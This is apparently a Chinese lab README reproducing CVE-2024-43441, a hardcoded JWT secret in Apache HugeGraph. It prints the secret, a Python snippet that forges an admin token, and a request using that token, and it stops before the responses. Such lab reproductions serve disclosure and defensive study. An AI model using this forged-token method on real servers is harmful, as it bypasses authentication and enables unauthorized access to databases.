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hugegraph/CVE-2024-43441/README.zh-cn.md
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hugegraph/CVE-2024-43441/README.zh-cn.md
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# Apache HugeGraph JWT Token硬编码导致权限绕过(CVE-2024-43441)
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Apache HugeGraph 是一款快速、高度可扩展的图数据库。它提供了完整的图数据库功能,具有出色的性能和企业级的可靠性。
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Apache HugeGraph 存在一个 JWT token 密钥硬编码漏洞。当启用了认证但未配置 `auth.token_secret` 时,HugeGraph 将使用一个硬编码的默认 JWT 密钥,其值为 `FXQXbJtbCLxODc6tGci732pkH1cyf8Qg`。攻击者可以使用这个默认密钥生成有效的 JWT token,从而绕过认证执行未经授权的操作。
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参考链接:
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- <https://github.com/advisories/GHSA-f697-gm3h-xrf9>
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- <https://github.com/apache/incubator-hugegraph/commit/03b40a52446218c83e98cb43020e0593a744a246>
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## 环境搭建
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执行如下命令启动 Apache HugeGraph 1.3.0 服务器:
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```
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docker compose up -d
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```
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服务启动后,可以通过 `http://your-ip:8080` 访问 HugeGraph 的 RESTful API。
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默认情况下,Apache HugeGraph 支持两种认证模式:HTTP基础认证和JWT认证。当启动 docker 容器时,系统会使用环境变量 PASSWORD 中指定的值作为默认管理员的密码。在正常情况下,您可以使用用户名 "admin" 和该密码通过 HTTP 基础认证访问 API。
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如果您尝试在不提供任何认证头的情况下访问 API,将会收到如下错误:
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```json
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{
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"exception": "class jakarta.ws.rs.NotAuthorizedException",
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"message": "Authentication credentials are required",
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"cause": ""
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}
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```
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## 漏洞复现
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除了默认管理员密码外,我们还可以使用默认 JWT 密钥生成有效的 JWT token 绕过认证。
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生成一个使用默认密钥的 JWT token:
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```python
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# 安装 jwt 库,运行 `pip install pyjwt`
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import jwt
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# 使用默认密钥生成 JWT token
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token = jwt.encode(
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{
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"user_name": "admin",
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"user_id": "-30:admin",
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"exp": 9739523483
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},
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"FXQXbJtbCLxODc6tGci732pkH1cyf8Qg",
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algorithm="HS256"
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)
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print(f"Generated JWT token: {token}")
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# Output:
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# Generated JWT token: eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VyX25hbWUiOiJhZG1pbiIsInVzZXJfaWQiOiItMzA6YWRtaW4iLCJleHAiOjk3Mzk1MjM0ODN9.mnafQi6x9nlMz1OcPQu4xAyiq91Ig5tUFhGsktNXKqg
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```
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使用生成的 token 访问受保护的端点:
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```
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GET /graphs HTTP/1.1
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Host: localhost:8080
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Authorization: Bearer eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VyX25hbWUiOiJhZG1pbiIsInVzZXJfaWQiOiItMzA6YWRtaW4iLCJleHAiOjk3Mzk1MjM0ODN9.mnafQi6x9nlMz1OcPQu4xAyiq91Ig5tUFhGsktNXKqg
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```
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您将收到如下响应:
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如果您移除 `Authorization` 头,您将收到如下错误:
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